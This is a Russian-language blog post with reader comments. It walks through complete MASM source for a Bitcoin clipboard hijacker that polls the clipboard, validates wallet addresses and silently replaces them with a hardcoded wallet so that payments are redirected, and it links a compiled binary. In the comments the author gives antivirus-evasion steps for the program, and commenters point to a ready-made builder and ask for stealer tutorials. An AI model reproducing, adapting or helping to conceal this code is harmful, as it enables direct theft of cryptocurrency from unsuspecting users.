Давным-давно для WebMoney (и не только) был популярен крайне простой способ получить чужие финансы: подменить содержимое буфера обмена Windows, если в нём находится номер кошелька на свой номер. С введением множества степеней защит данный метод перестали использовать, да и эффективность была под вопросом, не говоря уже о необходимости заставить пользователя запустить стороннее ПО, которое будет осуществлять подмену.
Случай с Bitcoin отличается: подтверждения, по сути, отсутствуют, номера кошельков ещё более длинные, на конкретного пользователя не пожалуешься...
В общем, давайте реализуем простой софт, который будет анализировать содержимое буфера обмена и подменять его, если обнаружит там корректный адрес Bitcoin кошелька. Писать будем на MASM, чтобы было веселее.
Для начала необходимо понять, как проверять адрес кошелька на правильность. В этом нам помогут многочисленные веб-сайты, описывающие процесс создания Bitcoin-адреса, а также пример проверки, пусть даже и на PHP. С логикой проверки разобрались. Приступим к написанию реализации.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
.386 .model flat, stdcall option casemap :none include \masm32\include\windows.inc include \masm32\macros\macros.asm include \masm32\macros\windows.asm uselib kernel32, user32, advapi32, masm32 .const ; Диапазон допустимой длины адреса кошелька wallet_len_min equ 27 wallet_len_max equ 34 ; Код версии адреса address_version equ 00h ; Набор символов, используемых в адресе ; Кроме: 0 O I l wallet_symbols db "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz", 0 ; Адрес, на который будет заменяться значение в буфере wallet_replace db "14GzzUaiNuDZYxhW8xd9emTJDtCjXKJkNT", 0 .data? prov dd ? |
Мы объявили некоторые вспомогательные константы, которые нам в дальнейшем понадобятся для проверки адрес на корректность. Из ссылок выше понятно, что нам придется делать функцию декодирования для base58 и где-то брать реализацию SHA256. base58 реализуем самостоятельно, а SHA256... в общем воспользуемся Microsoft CryptoAPI. Продолжим.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 |
.code ; Вспомогательные функции ; Небольшая функция для логирования отладочной информации log_message proc msg:dword local buffer[256]:byte invoke GetLastError invoke wsprintf, addr buffer, chr$("%s [%08X]"), msg, eax invoke OutputDebugString, addr buffer ret log_message endp base58_decode proc uses ebx esi edi, in_buffer:dword, out_buffer:dword ; Будем опираться на констаны, свойственные для проверки кошелька ; Размер выходного буфера не менее 25 байт (расширенный RIPEMD-160 + 4 байта контрольной суммы)] ; Декодирование исключительно под адрес кошелька, ; для абстрактной строки в base58 функцию необходимо править ; Заполняем содержимое буфера нулями xor eax, eax mov ecx, 25 mov edi, out_buffer rep stosb mov esi, in_buffer mov edi, out_buffer m1: ; Нулл-байт во входном буфере - конец декодирования movzx eax, byte ptr[esi] test eax, eax je m5 ; Сохраним регистр на время сканирования символа в eax push esi ; Символ должен быть из набора wallet_symbols mov esi, offset wallet_symbols m2: movzx ebx, byte ptr[esi] ; Если байты совпадают, то символ входит в набор допустимых cmp eax, ebx jz m3 ; Если мы дошли до конца набора допустимых символов (нулл-байт) ; и все ещё не вышли из цикла, значит, символ не из набора test ebx, ebx je err0 ; Продолжаем проверку inc esi jmp m2 m3: ; Поместим в eax позицию найденого в наборе символа mov eax, esi mov esi, offset wallet_symbols sub eax, esi ; Вложенный цикл с конца выходного буфера mov ebx, 25 - 1 m4: ; N-й элемент буфера (с конца) умножим на 58 ; и прибавим к позиции упомянутой выше movzx ecx, byte ptr[edi + ebx] imul ecx, 58 add eax, ecx ; Сохраним в выходной буфер результат деления с остатком push ebx cdq mov ebx, 256 div ebx pop ebx mov byte ptr[edi + ebx], dl ; Поделим позицию элемента на 256 push ebx cdq mov ebx, 256 div ebx mov eax, edx pop ebx ; Конец тела вложенного цикла dec ebx test ebx, ebx jne m4 pop esi ; Если в eax что-то отличное от нулл-байта, ; значит, адрес кошелька имеет некорректный размер test eax, eax jne err1 inc esi jmp m1 m5: mov eax, 1 ret err0: pop esi invoke log_message, chr$("invalid symbol") mov eax, 0 ret err1: invoke log_message, chr$("invalid address length") mov eax, 0 ret base58_decode endp |
Теперь у нас есть функция декодирования и небольшая функция логирования. Для лучшего понимания алгоритма base58 стоит обратиться к Google, так как псевдокод или реализация на языке высокого уровня обычно проще для понимания. Перейдем к простой обертке над CryptoAPI, которая будет осуществлять вычисление необходимого хэша.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
; Инициализация нужного криптопровайдера sha256init proc invoke CryptAcquireContext, offset prov, NULL, NULL, PROV_RSA_AES, 0 .if eax == 0 invoke CryptAcquireContext, offset prov, NULL, NULL, PROV_RSA_AES, CRYPT_NEWKEYSET .endif ret sha256init endp sha256fini proc invoke CryptReleaseContext, prov, 0 ret sha256fini endp ; Хэширование SHA256 sha256 proc in_buffer:dword, in_buffer_length:dword, out_buffer:dword, out_buffer_length:dword local hash:dword local aux:dword ; CALG_SHA_256 - 0x0000800c invoke CryptCreateHash, prov, 0000800Ch, 0, 0, addr hash .if eax == 0 invoke log_message, chr$("CryptCreateHash") jmp err .endif invoke CryptHashData, hash, in_buffer, in_buffer_length, 0 .if eax == 0 invoke log_message, chr$("CryptHashData") jmp err .endif mov aux, sizeof dword invoke CryptGetHashParam, hash, HP_HASHSIZE, addr out_buffer_length, addr aux, 0 .if eax == 0 invoke log_message, chr$("CryptGetHashParam - HP_HASHSIZE") jmp err .endif invoke CryptGetHashParam, hash, HP_HASHVAL, out_buffer, addr out_buffer_length, 0 .if eax == 0 invoke log_message, chr$("CryptGetHashParam - HP_HASHVAL") jmp err .endif err: .if hash != 0 invoke CryptDestroyHash, hash .endif ret sha256 endp |
У нас есть всё, что нужно для счастья. Остается основная логика и немного работы с буфером обмена, но для этого мы воспользуемся готовыми функциями из библиотеки MASM.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 |
; Функция проверки адреса validate_wallet proc uses esi edi, buffer:dword local decoded[32]:byte local digest1[32]:byte local digest2[32]:byte invoke lstrlen, buffer .if eax < wallet_len_min || eax > wallet_len_max invoke log_message, chr$("wallet length error") jmp err .endif ; Декодируем адрес из base58 invoke base58_decode, buffer, addr decoded .if eax == 0 invoke log_message, chr$("base58_decode error") jmp err .endif ; Проверяем версию lea eax, decoded mov al, byte ptr[eax] .if al != address_version invoke log_message, chr$("address version error") jmp err .endif invoke sha256, addr decoded, 21, addr digest1, sizeof digest1 invoke sha256, addr digest1, sizeof digest1, addr digest2, sizeof digest2 ; Сравним декодированную и посчитанную контрольные суммы lea esi, decoded add esi, 21 lea edi, digest2 mov ecx, 4 repz cmpsb jnz err mov eax, 1 ret err: mov eax, 0 ret validate_wallet endp start proc local clipboard_data:dword invoke sha256init .if eax == 0 invoke log_message, chr$("sha256init") jmp err .endif .while TRUE invoke GetClipboardText .if eax != 0 mov clipboard_data, eax ; Проверим содержимое буфера обмена и заменим, ; если это адрес Bitcoin кошелька invoke validate_wallet, clipboard_data .if eax != 0 invoke log_message, chr$("valid wallet detected") invoke SetClipboardTextEx, offset wallet_replace .endif invoke GlobalFree, clipboard_data .endif invoke Sleep, 500 .endw err: invoke sha256fini invoke ExitProcess, 0 ret start endp end start |
Вот собственно и всё. Обращу внимание на один момент: функция SetClipboardTextEx не относится к библиотеке masmlib. Что она из себя представляет? Это функция SetClipboardText из masmlib, но после вызова
1 |
invoke OpenClipboard,NULL ; open clipboard |
я добавил ещё
1 |
invoke EmptyClipboard ; clear clipboard |
Без этого функция упорно не хотела изменять содержимое буфера обмена, по крайней мере на Windows 7. Не знаю, с чем это связано, не разбирался.
Теперь всё готово. Компилируем и проверяем, также можно параллельно открыть DebugView и смотреть, какие отладочные сообщения выводит программа.
Опытным путём несложно убедиться, что при копировании корректного адреса через буфер обмена он заменяется на наш.
Исходный код + бинарник для тестов: скачать (пароль на архив: kaimi-ru)
Исходный код + бинарник для тестов (28.09.2015): скачать (пароль на архив: kaimi-ru)
Новое-хорошо забытое старое :)
Спасибо за статью. Биткойны не нужны, а вот примеры криптоапи весьма в тему.
Спасибо за статью, идея понравилась, и пример - как выше сказали - использования КриптоАпи.
Наверное нерационально крутить цикл и опрашивать буфер обмена - проц будет подозрительно загружен.
В винде есть такие штуки:
http://msdn.microsoft.com/en-us/library/windows/desktop/ms649052(v=vs.85).aspx
http://msdn.microsoft.com/en-us/library/windows/desktop/ms649025(v=vs.85).aspx
Вызов Sleep в цикле нивелирует проблему.
Всё равно мой способ правильнее!!!1
:)
ваш способ негодный, ибо требует создания окна.
Лол. Можно подумать, окно это обязательно нечто занимающее половину экрана с красным крестиком в правом верхнем углу и заголовком "created by kot".
> ваш способ негодный, ибо требует создания окна.
message-only windows
подскажите пожалуйста. Скачал masm32/ пытаюсь скомпилировать
пишет cannot open file : \masm32\macros\windows.asm
посмотрел в папке нет такого файла windows.asm
сможете закачать ?
Архив масма качал с сайта masm32.com
http://kaimi.io/2009/08/пакет-для-компиляции-masm32/
Пробовал использовать другой файл линкера.
Выскакивает другая ошибка.
--------------------------------------------
C:\masm32\bin>link16 bit.obj
Microsoft (R) Segmented Executable Linker Version 5.60.339 Dec 5 1994
Copyright (C) Microsoft Corp 1984-1993. All rights reserved.
Run File [bit.exe]:
List File [nul.map]:
Libraries [.lib]:
Definitions File [nul.def]:
LINK : fatal error L1104: \masm32\lib\kernel32.lib : not valid library
линкер 93 года, старье же.
Спасибо за статью. Оказывается Kaimi ещё и троян-мейкер. ;-)
Когда-нибудь я тебя посажу
XD XD XD
а я тебя!
sorry, but offtop:
Каими, слушай, а напиши что-нибудь пожалуйста про биржи и HFT трэйдинг?
Интересен твой взгляд на это.. Вот лично мне интересна торговля фьючерсами на CME, ICE и т.п.
А ещё о здоровом питании напиши, о стероидах, о животноводстве и как засунуть корабль в бутылку.
кайми, аниме подождет, учи писать меня кейгены, серийники, патчи
Могу научить писать банальный модульный стилер на C/C++ или скажем какую-нибудь фигню на Python (я его правда не знаю, но это не существенно), что ещё... что-нибудь банальное уровня ядра под Windows, какую-нибудь глупость с использованием NFC тоже можно или другое что-то. Даже не знаю, что выбрать.
Могу научить писать банальный модульный стилер на C/C++
Да, да, да, умоляю, сделай это!!1111
Пароль на архив не работает
ru вместо io
kaimi.ru тоже не подходит к архиву. ):
kaimi-ru подходит
Есть готовое решение, и билд и билдер и исходники - https://hpc.name/showthread.php?t=58882
Забавно, ещё две недели назад работало, как только курс битка поднялся выше миллионар ублей виндовый антивирус рубит программу на корню)
Это легко исправить:
1. Меняешь порядок символов в строке wallet_symbols
2. Естественно меняешь кошелек
3. Комментируешь вызовы log_message (дело в характерных строках), да и она нужна только для отладки, поэтому тело функции тоже можно удалить
4. И для разнообразия меняешь Sleep 500 на Sleep 700 скажем.
Получишь что-нибудь вроде 5-10 детектов и то бОльшая часть будет от редких антивирусов.
Чувак, ты офигенен
Что посоветуешь почитать по ассемблеру?
https://kaimi.io/?p=1454
https://kaimi.io/?p=1402
https://kaimi.io/?p=1574
http://www.allasm.ru/urok.php